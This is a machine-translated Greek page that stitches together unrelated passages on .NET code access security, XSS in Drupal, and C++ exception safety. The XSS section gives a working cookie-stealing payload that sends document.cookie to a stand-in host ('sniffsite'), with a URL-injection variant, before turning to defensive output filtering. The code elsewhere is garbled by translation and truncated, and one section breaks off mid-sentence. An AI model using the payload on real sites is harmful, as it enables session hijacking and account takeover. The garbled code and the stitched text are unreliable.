Εργαστήριο Ασφάλειας Πληροφοριών. Κωδικός Ασφαλούς: Χειρισμός εισαγωγής χρήστη

Αυτο 03.07.2020

Επισκόπηση προγράμματος Η έκδοση υπολογιστή του Microsoft Excel Viewer θα επιτρέψει...

Chercher Μοντέλο ασφαλείας πρόσβασης κώδικα? Το μοντέλο ασφαλείας βάσει ρόλων σάς επιτρέπει να καθορίσετε τι επιτρέπεται να κάνει ένας χρήστης και το μοντέλο ασφαλείας πρόσβασης κώδικα σάς επιτρέπει να καθορίσετε ποιος κώδικας επιτρέπεται να κάνει. Το .NET 4 απλοποιεί αυτό το μοντέλο καταργώντας την ανάγκη διαμόρφωσης πολύπλοκων πολιτικών ασφαλείας και προσθέτοντας δεύτερο επίπεδο διαφανούς ασφάλειας (Επίπεδο διαφάνειας ασφαλείας 2). Ένα τέτοιο επίπεδο υπήρχε πριν, και το δεύτερο είναι μια καινοτομία στο .NET 4.

Σε αυτό το επίπεδο, γίνεται διάκριση μεταξύ κωδικού που επιτρέπεται να πραγματοποιεί προνομιακές κλήσεις (όπως κλήσεις προς εγγενή κώδικα) και κώδικα που δεν επιτρέπεται να το κάνει. Όλος ο κώδικας χωρίζεται σε τρεις κατηγορίες:

Ασφάλεια-Κρίσιμος Κώδικας

Οποιοσδήποτε κώδικας μπορεί να εκτελεστεί σε αυτόν τον κώδικα. Ένας τέτοιος κωδικός δεν μπορεί να κληθεί από διαφανή κώδικα.

Ασφαλής-Κρίσιμος Κώδικας

Σε αυτόν τον κωδικό μπορούν να πραγματοποιηθούν διάφοροι έλεγχοι ασφαλείας. Ένας τέτοιος κώδικας μπορεί να κληθεί από διαφανή κώδικα.

Διαφανής κωδικός

Αυτός ο κωδικός μπορεί να εκτελέσει μόνο έναν πολύ περιορισμένο αριθμό λειτουργιών. Αυτός ο κώδικας επιτρέπεται να εκτελείται μόνο με ένα συγκεκριμένο σύνολο δικαιωμάτων και μόνο μέσα sandbox. Δεν μπορεί να περιέχει μη ασφαλή ή μη επαληθεύσιμο κωδικό και δεν μπορεί να καλέσει κώδικα κρίσιμου για την ασφάλεια. Κατά τη σύνταξη εφαρμογών των Windows, δεν ισχύουν περιορισμοί δικαιωμάτων κώδικα.

Οι εφαρμογές που εκτελούνται στο περιβάλλον επιφάνειας εργασίας έχουν πλήρη δικαιώματα εμπιστοσύνης και μπορούν να περιέχουν οποιονδήποτε κώδικα. Η τεχνολογία απομόνωσης κώδικα κατά τη διάρκεια εκτέλεσης σε ένα περιορισμένο περιβάλλον που ονομάζεται sandbox χρησιμοποιείται με εφαρμογές SilverLight, καθώς και με εφαρμογές ASP.NET που εξυπηρετούνται από έναν πάροχο ιστού ή έχουν συγκεκριμένες λειτουργίες, για παράδειγμα, επιτρέποντας την εκκίνηση πρόσθετων πρόσθετων μέσω της χρήσης του διαχειριζόμενου πρόσθετου πλαισίου .

Δεύτερο επίπεδο διαφανούς ασφάλειας

Ένα συγκρότημα μπορεί να παρέχεται με το χαρακτηριστικό Κανόνες Ασφαλείαςκαι ορίστε το σε SecurityRuleSet.Level2 για να εφαρμόσετε το νέο επίπεδο διαφάνειας που είναι διαθέσιμο στο .NET 4. (Αυτό είναι το επίπεδο που χρησιμοποιείται από προεπιλογή στο .NET 4.) Για συμβατότητα προς τα πίσω, θα πρέπει να οριστεί στο Level1:

Εάν εφαρμοστεί το χαρακτηριστικό SecurityTransparent, ολόκληρη η διάταξη δεν θα κάνει τίποτα προνομιακό ή μη ασφαλές. Θα μπορεί να καλέσει μόνο κάποιο διαφανή ή ασφαλή κωδικό. Αυτό το χαρακτηριστικό μπορεί να εφαρμοστεί μόνο σε επίπεδο συναρμολόγησης.

Allow PartiallyTrustedCallers χαρακτηριστικόσας επιτρέπει να κάνετε τον κώδικα κάτι μεταξύ διαφανούς κώδικα και κώδικα άλλων κατηγοριών. Όταν εφαρμόζεται αυτό το χαρακτηριστικό, ο κώδικας ερμηνεύεται ως διαφανής από προεπιλογή, αλλά μεμονωμένοι τύποι ή μέλη εντός αυτού μπορεί να έχουν άλλα χαρακτηριστικά:

Εάν δεν εφαρμοστεί κανένα από αυτά τα χαρακτηριστικά, ο κώδικας θεωρείται κρίσιμος για την ασφάλεια. Ωστόσο, αν θέλετε, μπορείτε να εφαρμόσετε το χαρακτηριστικό SecuritySafeCritical σε μεμονωμένους τύπους και μέλη, κάνοντάς τα έτσι να κληθούν από διαφανή κώδικα:

Εξουσία

Όταν εκτελείτε κώδικα μέσα σε ένα sandbox, μπορείτε να καθορίσετε τι επιτρέπεται να κάνει ο κώδικας στο ίδιο το sandbox μέσω της χρήσης των ορισμών δικαιωμάτων .NET. Ενώ οι εφαρμογές που εκτελούνται σε περιβάλλον επιφάνειας εργασίας έχουν ένα πλήρες σύνολο δικαιωμάτων που τους επιτρέπουν να κάνουν οποιαδήποτε ενέργεια, οι εφαρμογές που εκτελούνται σε ένα περιβάλλον δοκιμών λαμβάνουν μόνο ένα σύνολο δικαιωμάτων που το περιβάλλον κεντρικού υπολογιστή μεταβιβάζει στο sandbox και το οποίο τους επιτρέπει να εκτελούν μόνο ορισμένες ενέργειες. Μπορείτε επίσης να ορίσετε δικαιώματα για τον τομέα εφαρμογής που εκκινείται από εφαρμογές επιτραπέζιου υπολογιστή. Για το σκοπό αυτό θα πρέπει να χρησιμοποιείται Sandbox API.

Τα δικαιώματα ή τα δικαιώματα αναφέρονται στις ενέργειες που επιτρέπεται (ή δεν επιτρέπεται) να εκτελεί κάθε ομάδα κώδικα. Για παράδειγμα, τα δικαιώματα μπορεί να περιλαμβάνουν "ανάγνωση αρχείων από το σύστημα αρχείων", "εκτέλεση εγγραφών στην υπηρεσία καταλόγου Active Directory" και "χρήση υποδοχών για άνοιγμα συνδέσεων δικτύου". Υπάρχουν πολλά προκαθορισμένα δικαιώματα και μπορείτε επίσης να δημιουργήσετε τα δικά σας.

Τα δικαιώματα .NET είναι ανεξάρτητα από τα δικαιώματα του λειτουργικού συστήματος. Τα δικαιώματα .NET ελέγχονται απλώς από το χρόνο εκτέλεσης. Μια συγκρότηση απαιτεί άδεια για να εκτελέσει μια συγκεκριμένη λειτουργία (για παράδειγμα, η κλάση File απαιτεί FileIOPermission) και ο χρόνος εκτέλεσης της κοινής γλώσσας επαληθεύει ότι η συγκρότηση έχει λάβει την απαραίτητη άδεια ώστε να μπορεί να συνεχίσει να εκτελείται.

Η λίστα με τα δικαιώματα που μπορούν να εφαρμοστούν σε μια συγκρότηση και να ζητηθούν από τον κώδικα είναι πολύ μεγάλη και πολλαπλών επιπέδων. Ακολουθούν μερικές μόνο από τις κατηγορίες προνομίων που παρέχονται από το CLR για να δείξουν πόσο έλεγχο μπορούν να παρέχουν στον κώδικά σας:

DirectoryServicesPermission

Σας επιτρέπει να ελέγχετε τη δυνατότητα πρόσβασης στην υπηρεσία καταλόγου Active Directory χρησιμοποιώντας τις κλάσεις System.DirectoryServices.

DnsPermission

Σας επιτρέπει να ελέγχετε τη δυνατότητα χρήσης DNS (Domain Name System - υπηρεσία ονομάτων τομέα).

Περιβαλλοντική Άδεια

Σας επιτρέπει να ελέγχετε τη δυνατότητα ανάγνωσης και εγγραφής μεταβλητών περιβάλλοντος.

EventLogPermission

Σας επιτρέπει να ελέγχετε τη δυνατότητα ανάγνωσης και εγγραφής λειτουργιών στο αρχείο καταγραφής συμβάντων.

FileDialogPemission

Σας επιτρέπει να ελέγχετε τη δυνατότητα πρόσβασης στα αρχεία που επιλέγει ο χρήστης στο πλαίσιο διαλόγου Άνοιγμα. Συνήθως, αυτή η άδεια χρησιμοποιείται εάν δεν έχει εκχωρηθεί η άδεια FileIOPermission για να παραχωρήσει τουλάχιστον περιορισμένη πρόσβαση σε αρχεία.

Άδεια αρχείου

Σας επιτρέπει να ελέγχετε τη δυνατότητα εργασίας με αρχεία (ανάγνωση, εγγραφή και προσθήκη σε αρχεία, καθώς και δημιουργία, τροποποίηση και πρόσβαση σε φακέλους).

IsolatedStorageFilePermission

Σας επιτρέπει να ελέγχετε τη δυνατότητα πρόσβασης σε ιδιωτικά εικονικά συστήματα αρχείων.

IsolatedStoragePermission

Σας επιτρέπει να ελέγχετε τη δυνατότητα πρόσβασης σε απομονωμένους χώρους αποθήκευσης, π.χ. αποθετήρια που σχετίζονται με μεμονωμένους χρήστες και έχουν κάποιο είδος δεδομένων αναγνώρισης στον κώδικα.

MessageQueuePermission

Σας επιτρέπει να ελέγχετε τη δυνατότητα χρήσης της ουράς μηνυμάτων μέσω της υπηρεσίας Microsoft Message Queue.

PerformanceCounterPermission

Σας επιτρέπει να ελέγχετε εάν μπορούν να χρησιμοποιηθούν μετρητές απόδοσης.

Άδεια εκτύπωσης

Σας επιτρέπει να ελέγχετε τη δυνατότητα εκτύπωσης.

ReflectionPermission

Σας επιτρέπει να ελέγχετε τη δυνατότητα να ανακαλύπτετε πληροφορίες τύπου κατά το χρόνο εκτέλεσης χρησιμοποιώντας την κλάση System.Reflection.

RegistryPermission

Σας επιτρέπει να ελέγχετε τη δυνατότητα ανάγνωσης, εγγραφής, δημιουργίας και διαγραφής κλειδιών και ρυθμίσεων στο μητρώο συστήματος.

Άδεια ασφαλείας

Σας επιτρέπει να ελέγχετε τη δυνατότητα εκτέλεσης, επαλήθευσης εξουσιοδότησης, κλήσης μη διαχειριζόμενου κώδικα, παράβλεψης της διαδικασίας επαλήθευσης και έκδοσης άλλων δικαιωμάτων.

ServiceController Permission

Σας επιτρέπει να ελέγχετε τη δυνατότητα διαχείρισης υπηρεσιών Windows.

Άδεια υποδοχής

Σας επιτρέπει να ελέγχετε τη δυνατότητα δημιουργίας ή αποδοχής συνδέσεων TCP/IP κατά διεύθυνση μεταφοράς δικτύου.

SQLClientPermission

Σας επιτρέπει να ελέγχετε τη δυνατότητα πρόσβασης σε βάσεις δεδομένων του SQL Server χρησιμοποιώντας την υπηρεσία παροχής δεδομένων .NET για SQL Server.

Με καθεμία από αυτές τις κλάσεις, τα δικαιώματα μπορούν συχνά να καθοριστούν με ακόμη μεγαλύτερη ακρίβεια. Για παράδειγμα, η κλάση DirectoryServicesPermission σάς επιτρέπει να κάνετε διαφοροποίηση μεταξύ των δικαιωμάτων ανάγνωσης και εγγραφής και να καθορίσετε ποιες καταχωρήσεις υπηρεσιών καταλόγου θα πρέπει να επιτρέπεται ή να απαγορεύεται η πρόσβαση.

Σύνολα αδειών

Τα σύνολα αδειών αναφέρονται σε συλλογές αδειών. Εξαλείφουν την ανάγκη εφαρμογής κάθε άδειας στον κώδικά σας ξεχωριστά και σας επιτρέπουν να ομαδοποιήσετε τα απαραίτητα δικαιώματα και να τα εφαρμόσετε στον κώδικά σας μαζί. Για παράδειγμα, μια συγκρότηση με το σύνολο δικαιωμάτων FullTrust θα έχει πλήρη πρόσβαση σε όλους τους πόρους, αλλά μια συναρμολόγηση με το σύνολο δικαιωμάτων Local Intranet θα έχει μόνο περιορισμένη πρόσβαση, με τη δυνατότητα να εκτελεί λειτουργίες εγγραφής μόνο σε απομονωμένο χώρο αποθήκευσης και πουθενά αλλού στο αρχείο σύστημα. Μπορείτε να δημιουργήσετε τα δικά σας σύνολα δικαιωμάτων που περιλαμβάνουν μόνο συγκεκριμένα δικαιώματα.

Η εκχώρηση δικαιωμάτων σε ομάδες κώδικα εξαλείφει την ανάγκη αντιμετώπισης μεμονωμένων δικαιωμάτων και σας επιτρέπει να εφαρμόζετε δικαιώματα σε μπλοκ ταυτόχρονα, γι' αυτό το .NET παρέχει την έννοια των συνόλων δικαιωμάτων. Αυτά τα σύνολα είναι ουσιαστικά λίστες δικαιωμάτων που παραχωρούνται στον κώδικα, συνδυασμένα σε ένα ονομασμένο σύνολο. Παρακάτω είναι μια σύντομη περιγραφή των επτά ονομασμένων συνόλων δικαιωμάτων που είναι εγγενείς με το .NET:

Τύπος εξουσιοδότησης Περιγραφή
FullTrust Υπονοεί την απουσία οποιωνδήποτε περιορισμών στην εξουσία.
SkipVerification Περιλαμβάνει παράκαμψη επαλήθευσης.
Εκτέλεση Επιτρέπει την εκτέλεση κώδικα αλλά δεν έχει πρόσβαση σε προστατευμένους πόρους.
Τίποτα Δεν εκχωρεί στον κώδικα δικαιώματα ούτε του επιτρέπει να εκτελεστεί.
Τοπικό Intranet Παραχωρεί μόνο ένα υποσύνολο του πλήρους συνόλου αδειών. Για παράδειγμα, οι λειτουργίες εισόδου/εξόδου αρχείων περιορίζονται στην πρόσβαση μόνο για ανάγνωση στο κοινόχρηστο στοιχείο που είναι η πηγή της συναρμολόγησης. Σε .NET 3.5 και προηγούμενες εκδόσεις (πριν από το .NET 3.5 SP1), αυτό το σύνολο δικαιωμάτων εφαρμόστηκε όταν η εφαρμογή εκτελούνταν από κοινόχρηστο στοιχείο δικτύου.
Internet Επιβάλλει τη χρήση τυπικών πολιτικών ασφαλείας για κώδικα άγνωστης προέλευσης. Από όλα τα σύνολα εξουσιών που αναφέρονται, αυτή είναι η πιο περιορισμένη. Για παράδειγμα, ο κώδικας που εκτελείται με αυτό το σύνολο προνομίων δεν επιτρέπεται η είσοδος/έξοδος αρχείου, η ανάγνωση/εγγραφή αρχείου καταγραφής ή η ανάγνωση/εγγραφή μεταβλητής περιβάλλοντος.
Πάντα Προβλέπει την έκδοση όλων των εξουσιών που αναφέρονται παραπάνω με εξαίρεση το SkipVerification. Ο διαχειριστής μπορεί να αλλάξει οποιοδήποτε από τα δικαιώματα σε αυτό το σύνολο. Αυτό είναι βολικό εάν πρέπει να αυστηροποιήσετε την τυπική πολιτική ασφαλείας σας.

Είναι σημαντικό να σημειωθεί ότι μπορείτε να αλλάξετε τους ορισμούς αδειών μόνο στο σύνολο Όλα. τα υπόλοιπα σετ είναι σταθερά και δεν μπορούν να αλλάξουν. Φυσικά, μπορείτε να δημιουργήσετε τα δικά σας σύνολα δικαιωμάτων.

Αίτημα αδειών μέσω προγραμματισμού

Μια συγκρότηση μπορεί να ζητήσει άδειες είτε δηλωτικά είτε μέσω προγραμματισμού. Το παρακάτω απόσπασμα κώδικα δείχνει πώς μπορείτε να ζητήσετε δικαιώματα χρησιμοποιώντας τη μέθοδο DemandFileIOPermissions(). Αφού εισαγάγετε τον χώρο ονομάτων System.Security.Permisions, μπορείτε να ελέγξετε αν έχετε τα απαιτούμενα δικαιώματα δημιουργώντας ένα αντικείμενο FileIOPermission και καλώντας τη μέθοδο Demand() του.

Αυτή η μέθοδος σάς επιτρέπει να ελέγξετε εάν ο κωδικός που καλεί τη μέθοδο, σε αυτήν την περίπτωση DemandFileIOPermissions, έχει τα απαραίτητα δικαιώματα. Εάν η μέθοδος Demand() αποτύχει, εμφανίζεται μια SecurityException. Αυτή η εξαίρεση μπορεί να αφεθεί ασύλληπτη και να αφεθεί στον κωδικό κλήσης για χειρισμό.

Χρήση του συστήματος. χρησιμοποιώντας System.Security; χρησιμοποιώντας System.Security.Permissions. χρησιμοποιώντας System.IO;

namespace Wrox.ProCSharp.Security ( δημόσια κλάση DemandPermissions ( δημόσια κενή DemandFileIOPermissions(διαδρομή συμβολοσειράς) ( var fileIOPermission = νέο FileIOPermission(PermissionState.Unrestricted); fileIOPermission.Demand(); //... ) )

Η κλάση FileIOPermission περιέχεται στον χώρο ονομάτων System.Security.Permisions, ο οποίος ορίζει το πλήρες σύνολο δικαιωμάτων, καθώς και κλάσεις για χαρακτηριστικά δηλωτικών δικαιωμάτων και απαριθμήσεις για παραμέτρους που χρησιμοποιούνται για τη δημιουργία αντικειμένων άδειας (για παράδειγμα, δημιουργία αντικειμένου FileIOPermission που υποδεικνύει αν έχει αναγνωσθεί -απαιτείται μόνο πρόσβαση ή πλήρης πρόσβαση).

Εάν χρησιμοποιείτε μόνο κλάσεις .NET για λειτουργίες εισαγωγής και εξόδου αρχείων, δεν χρειάζεται να ζητήσετε μόνοι σας το FileIOPermission, καθώς οι κλάσεις .NET που επιτρέπουν τέτοιες λειτουργίες μπορούν να το κάνουν οι ίδιοι. Ωστόσο, όταν δημιουργείτε περιτυλίγματα για να καλέσετε τις δικές σας μεθόδους API, όπως το CreateFileTransacted(), πρέπει να κάνετε ερώτημα μόνοι σας. Αυτός ο μηχανισμός μπορεί επίσης να χρησιμοποιηθεί για να ζητήσετε ειδικές άδειες από τον κωδικό κλήσης.

Σίγουρα, οι επιθέσεις XSS παραμένουν οι πιο δημοφιλείς μαζί με τις ενέσεις SQL. Η αρχή τους είναι απλή σε σημείο ντροπής και οι συνέπειες ποικίλλουν από αθώα παραμόρφωση της εξόδου της σελίδας έως έναν εισβολέα που αποκτά τον πλήρη έλεγχο του ιστότοπου.

Μερικά σενάρια επίθεσης XSS

Διαρκής Επίθεση

  • Η Vova δημιουργεί ένα κομμάτι περιεχομένου στον ιστότοπο της Petya.
  • Όταν η Masha προβάλλει αυτό το περιεχόμενο, το Vovin XSS κλέβει τα cookies της Μηχανής.
  • Τώρα η Vova μπορεί να μεταβεί στον ιστότοπο χρησιμοποιώντας την περίοδο λειτουργίας Machine.
  • Όσο περισσότεροι άνθρωποι βλέπουν αυτό το περιεχόμενο, τόσο πιο επιτυχημένη μπορεί να θεωρηθεί η επίθεση. Το μέγιστο επιτυγχάνεται με τη δημιουργία αμφιλεγόμενων θεμάτων holivar στον ιστότοπο κ.λπ.
Ακολουθεί ένα απλό παράδειγμα του πώς ακριβώς κλέβονται και χρησιμοποιούνται τα cookies.
  • Ο κωδικός εισάγεται στη σελίδα img=new Image();img.srс="http://sniffsite/s.php?"+document.cookie; .
  • Στο άλλο άκρο του σεναρίου υπάρχει ένα αρχείο καταγραφής αιτημάτων. Ο εισβολέας επιλέγει ένα αναγνωριστικό περιόδου σύνδεσης από αυτό το αρχείο καταγραφής και δημιουργεί το δικό του cookie, παρόμοιο με το cookie του θύματος.
  • Τώρα ο εισβολέας μπορεί απλώς να χρησιμοποιήσει ένα πρόγραμμα περιήγησης για να μεταβεί στον ιστότοπο και να έχει ήδη συνδεθεί στον λογαριασμό του χρήστη-θύματος (το cookie του θύματος).
Και αν σε έναν κανονικό λογαριασμό ένας εισβολέας μπορεί να κάνει κακό στα δικαιώματα αυτού του λογαριασμού, τότε αναλαμβάνοντας τον root λογαριασμό (υπό τον οποίο πηγαίνει το 90% των drupallers μας), μπορεί κυριολεκτικά να σκοτώσει τον ιστότοπο εκείνου του 60% των drupallers που κάνουν μην κάνετε συχνά αντίγραφα ασφαλείας.

Μη βιώσιμη επίθεση

  • Η Τζούλια χρησιμοποιεί έναν ιστότοπο που έγραψε ο Αχμέντ. Ο Ahmed της δίνει την ευκαιρία να συνδεθεί στον ιστότοπο χρησιμοποιώντας ένα login/password και να διατηρήσει εκεί προσωπικά δεδομένα.
  • Η Vova πραγματοποιεί αναζήτηση στον ιστότοπο του Akhmed και βρίσκει μια ευπάθεια XSS.
  • Η Vova δημιουργεί έναν ειδικό σύνδεσμο και τον στέλνει στη Γιούλια μέσω ICQ.
  • Η Τζούλια, ενώ είναι συνδεδεμένη στον ιστότοπο, ακολουθεί τον σύνδεσμο της Vovina.
  • Το XSS που συνδέεται με τον σύνδεσμο της σελίδας εκκινείται. (Εδώ τα πάντα εξαρτώνται από την πονηριά του Akhmed και την ικανότητα του Vova. Αυτή θα μπορούσε να είναι η χρήση μιας ευπάθειας που σχετίζεται με το CSRF - η Yulia, χωρίς να το γνωρίζει, μπορεί να στείλει ένα σωρό ανεπιθύμητα μηνύματα, να διαγράψει όλο το περιεχόμενο στον ιστότοπο κ.λπ., ή πιο συνηθισμένο - κλοπή μυστικών πληροφοριών ή cookies.
Τι σημαίνει αυτό Το XSS συνδέεται σε έναν σύνδεσμο? Ένα πολύ συνηθισμένο παράδειγμα είναι μια φόρμα αναζήτησης με κώδικα όπως αυτός
"> .

Τώρα, αν γράψετε site.ru/search.php?srch="> στη γραμμή διευθύνσεων img=new Image();img.srс="http://snifsite/s.php" +document.cookie;, θα λάβουμε τα cookies κάθε θύματος που επισκέφτηκε αυτήν τη διεύθυνση URL.

Πώς να προστατέψετε τον κωδικό σας από το XSS;

Η απάντηση είναι απλή - φιλτράρετε την έξοδο στη σελίδα.

Μέθοδοι φιλτραρίσματος στο Drupal

Ο χρυσός κανόνας της εργασίας με δεδομένα είναι η αποθήκευση των δεδομένων χρήστη στη βάση δεδομένων ακριβώς όπως στάλθηκαν. Επομένως, όλο το φιλτράρισμα θα πρέπει να γίνεται στο στάδιο εμφάνισης των δεδομένων χρήστη στη σελίδα.

Όλες οι εισροές χρήστη μπορούν να χωριστούν σε δύο τύπους:

  1. Κείμενο χωρίς σήμανση (απλό κείμενο)

    Κάθε είσοδος χρήστη που πρέπει να δοθεί ως απλό κείμενο πρέπει να περάσει από τη συνάρτηση check_plain(), η οποία θα μετατρέψει εισαγωγικά, συμπλεκτικά σύμβολα και αγκύλες στην αναπαράσταση HTML τους. Στη συνέχεια, τέτοιο κείμενο μπορεί ήδη να εισαχθεί στην τελική σήμανση HTML της σελίδας.

    Οι περισσότερες συναρτήσεις θεμάτων και API δέχονται συμβολοσειρές ως παραμέτρους και, με τον ένα ή τον άλλο τρόπο, φιλτράρετε τα:

    • t(): Υπάρχουν διάφοροι τύποι κράτησης θέσης που μπορούν να χρησιμοποιηθούν σε αυτήν τη συνάρτηση, τα οποία θα φιλτράρονται διαφορετικά:
      • !variable - θα εισαχθεί χωρίς αλλαγές
      • @variable - θα περάσει από check_plain() .
      • %variable - θα περάσει από το θέμα("placeholder") .
    • μεγάλο(): Το κείμενο του συνδέσμου περνάει πάντα από check_plain() εκτός εάν η παράμετρος $html έχει οριστεί ρητά.
    • Στοιχεία μενού και φρυγανιά: Οι τίτλοι φιλτράρονται αυτόματα.

      Σημειώστε ότι ο χρήστης που βλέπει κείμενο σήμανσης που διαβιβάστηκε μέσω του check_markup() πρέπει να έχει δικαιώματα προβολής στην επιλεγμένη μορφή εισαγωγής. Από προεπιλογή, αυτός ο έλεγχος εκτελείται πάντα. Ωστόσο, αυτό δεν είναι πάντα απαραίτητο, καθώς το περιεχόμενο συνήθως προβάλλεται από χρήστες με λιγότερα δικαιώματα από το άτομο που δημιούργησε το περιεχόμενο. Επομένως, ο έλεγχος δικαιωμάτων κατά την έξοδο μπορεί να απενεργοποιηθεί περνώντας την αντίστοιχη παράμετρο στο check_markup() . Αλλά θα πρέπει πάντα να ελέγχετε αυτά τα δικαιώματα με

Η ερώτησή σας αναφέρει ότι "Η σύνταξη ασφαλούς κωδικού ασφαλείας είναι πολύ δύσκολη." Θα απαντήσω πρώτα στις ερωτήσεις σας και μετά θα απαντήσω στην κρυμμένη ερώτηση πίσω από αυτές.

Απαντήσεις σε ερωτήσεις

Γράφετε πραγματικά κωδικό ασφαλούς εξαίρεσης;

Φυσικά ναι.

Αυτός είναι ο λόγος ο. Η Java έχει χάσει πολύ την ελκυστικότητά της για μένα ως προγραμματιστή C++ (έλλειψη σημασιολογίας RAII), αλλά παρεκκλίνω: αυτή είναι μια ερώτηση C++.

Αυτό είναι πραγματικά απαραίτητο όταν πρέπει να εργαστείτε με κωδικό STL ή Boost. Για παράδειγμα, τα νήματα C++ (boost::thread ή std::thread) θα δημιουργήσουν μια εξαίρεση για να βγείτε με χάρη.

Είστε βέβαιοι ότι ο πιο πρόσφατος κωδικός "έτοιμος για παραγωγή" είναι ασφαλής;

Μπορείτε να είστε σίγουροι τι είναι;

Η σύνταξη κωδικού αποκλεισμού είναι παρόμοια με τη σύνταξη κώδικα χωρίς σφάλματα.

Δεν μπορείτε να είστε 100% σίγουροι ότι ο κωδικός σας είναι ασφαλής. Στη συνέχεια, όμως, προσπαθείτε για αυτό χρησιμοποιώντας γνωστά μοτίβα και αποφεύγοντας γνωστά αντι-μοτίβα.

Γνωρίζετε και/ή χρησιμοποιείτε εναλλακτικές λύσεις που λειτουργούν;

Δεν υπάρχουν βιώσιμες εναλλακτικές λύσεις στη C++ (δηλαδή πρέπει να επιστρέψετε στη C και να αποφύγετε τις βιβλιοθήκες της C++ καθώς και εξωτερικές εκπλήξεις όπως το Windows SEH).

Σύνταξη Κώδικα Ασφαλούς Εξαίρεσης

Για να γράψετε κωδικό ασφαλούς εξαίρεσης πρέπει να γνωρίζετε πρώταποιο είναι το επίπεδο ασφάλειας εξαίρεσης για κάθε εντολή που γράφετε.

Για παράδειγμα, το new μπορεί να δημιουργήσει μια εξαίρεση, αλλά η εκχώρηση ενός ενσωματωμένου (όπως int ή δείκτη) δεν θα αποτύχει. Η άντληση δεν θα αποτύχει ποτέ (μην γράψετε ποτέ ανταλλαγή ρίψης), std::list::push_back μπορεί να ρίξει...

Εγγύηση αποκλεισμού

Το πρώτο πράγμα που πρέπει να καταλάβετε είναι ότι πρέπει να είστε σε θέση να αξιολογήσετε την εγγύηση αποκλεισμού που προσφέρεται από όλες τις λειτουργίες σας:

  • κανένας. Ο κωδικός σας δεν πρέπει ποτέ να το προτείνει αυτό. Αυτός ο κωδικός θα χυθεί τα πάντα και θα κολλήσει στην πρώτη εξαίρεση.
  • βασικός. Αυτή είναι μια εγγύηση που θα πρέπει τουλάχιστον να προσφέρετε, δηλαδή, εάν γίνει εξαίρεση, δεν διαρρεύσουν πόροι και όλα τα αντικείμενα παραμένουν άθικτα.
  • ισχυρός. Η επεξεργασία είτε θα επιτύχει είτε θα δημιουργήσει μια εξαίρεση, αλλά αν απορριφθεί, τότε τα δεδομένα θα βρίσκονται στην ίδια κατάσταση που η επεξεργασία δεν ξεκίνησε καθόλου (αυτό δίνει δύναμη συναλλαγής στη C++)
  • nothrow/nofail: Η επεξεργασία θα είναι επιτυχής.

Παράδειγμα κώδικα

Ο παρακάτω κώδικας μοιάζει με τη σωστή C++, αλλά στην πραγματικότητα προσφέρει μια εγγύηση "καμία" και επομένως είναι εσφαλμένος:

::max() > t.integer) // 1. nothrow/nofail t.integer += 1 ; // 1". nothrow/nofail X * x = new X() ; // 2. basic: μπορεί να ρίξει με new και X κατασκευαστή t.list.push_back(x) ; // 3. strong: can drop x->

Γράφω όλο τον κώδικά μου με τέτοιου είδους ανάλυση.

Η χαμηλότερη εγγύηση που προσφέρεται είναι βασική, αλλά στη συνέχεια η σειρά κάθε εντολής κάνει ολόκληρη τη συνάρτηση "καμία" γιατί αν 3. ρίξει, το x θα διαρρεύσει.

Το πρώτο πράγμα που πρέπει να κάνετε είναι να δημιουργήσετε μια "βασική" συνάρτηση που βάζει το x σε έναν έξυπνο δείκτη μέχρι να αποθηκευτεί με ασφάλεια στη λίστα:

Άκυρο doSomething(T & t) ( if(std::numeric_limits ::max() > t.integer) // 1. nothrow/nofail t.integer += 1 ; // 1". nothrow/nofail std::auto_ptr x(νέο X()) ; // 2. basic: μπορεί να ρίξει με new και X κατασκευαστή X * px = x.get() ; // 2". nothrow/nofail t.list.push_back(px) ; // 3. strong: μπορεί να ρίξει x.release() ; // 3". nothrow/nofail px->doSomethingThatCanThrow() ; // 4. βασικός: μπορεί να ρίξει )

Ο κωδικός μας προσφέρει πλέον μια "βασική" εγγύηση. Δεν θα διαρρεύσει τίποτα και όλα τα αντικείμενα θα είναι στη σωστή κατάσταση. Θα μπορούσαμε όμως να προσφέρουμε περισσότερα, δηλαδή μια ισχυρή εγγύηση. Εδώ μπορεί να γίνει ακριβό και γι' αυτό είναι δυνατό όχι όλαΚωδικός C++. Ας προσπαθήσουμε:

Void doSomething(T & t) ( // δημιουργούμε "x" std::auto_ptr x(νέο X()) ; // 1. basic: μπορεί να ρίξει με new και X κατασκευαστή X * px = x.get() ; // 2. nothrow/nofail px->doSomethingThatCanThrow() ; // 3. basic: μπορεί να πετάξει // αντιγράφουμε το αρχικό δοχείο για να αποφύγουμε την αλλαγή του T t2(t) ; // 4. strong: μπορεί να ρίξει με T copy-constructor // βάζουμε το "x" στο αντιγραμμένο κοντέινερ t2.list.push_back(px) ; // 5. strong: μπορεί να ρίξει x.release() ; // 6. nothrow/nofail if(std::numeric_limits ::max() > t2.ακέραιος) // 7. nothrow/nofail t2.ακέραιος += 1 ; // 7". nothrow/nofail // ανταλλάσσουμε και τα δύο κοντέινερ t.swap(t2) ; // 8. nothrow/nofail )

Αναδιατάξαμε τις πράξεις δημιουργώντας πρώτα και ρυθμίζοντας το X στη σωστή τιμή. Εάν κάποια λειτουργία αποτύχει, τότε το t δεν αλλάζει, επομένως η λειτουργία 1 έως 3 μπορεί να θεωρηθεί "ισχυρή": εάν κάτι αποτύχει, το t δεν αλλάζει και το X δεν θα ρέει επειδή ανήκει στον έξυπνο δείκτη.

Στη συνέχεια, δημιουργούμε ένα αντίγραφο του t2 του t και δουλεύουμε σε αυτό το αντίγραφο από τη λειτουργία 4 έως 7. Εάν πεταχτεί κάτι, το t2 αλλάζει, αλλά το t εξακολουθεί να είναι το πρωτότυπο. Εξακολουθούμε να προσφέρουμε μια ισχυρή εγγύηση.

Τότε θα αλλάξουμε t και t2. Οι πράξεις ανταλλαγής δεν πρέπει να σχεδιάζονται σε C++, οπότε ας ελπίσουμε ότι η ανταλλαγή που γράψατε για το t δεν είναι nothrow (αν δεν είναι, ξαναγράψτε την για να μην είναι).

Έτσι, αν φτάσουμε στο τέλος της συνάρτησης, όλα λειτούργησαν (δεν χρειάζεται τύπος επιστροφής) και το t έχει την τιμή του. Εάν αποτύχει, τότε το t εξακολουθεί να έχει την αρχική του τιμή.

Τώρα, η παροχή ισχυρής εγγύησης μπορεί να είναι αρκετά δαπανηρή, γι' αυτό μην καταφέρετε να παρέχετε ισχυρή εγγύηση για όλο τον κώδικά σας, αλλά εάν μπορείτε να το κάνετε χωρίς κόστος (και η ένθεση C++ και άλλες βελτιστοποιήσεις μπορούν να κάνουν όλο τον κώδικα παραπάνω αποτυχία), τότε κάντε το. Ο χρήστης της λειτουργίας θα σας ευχαριστήσει για αυτό.

Σύναψη

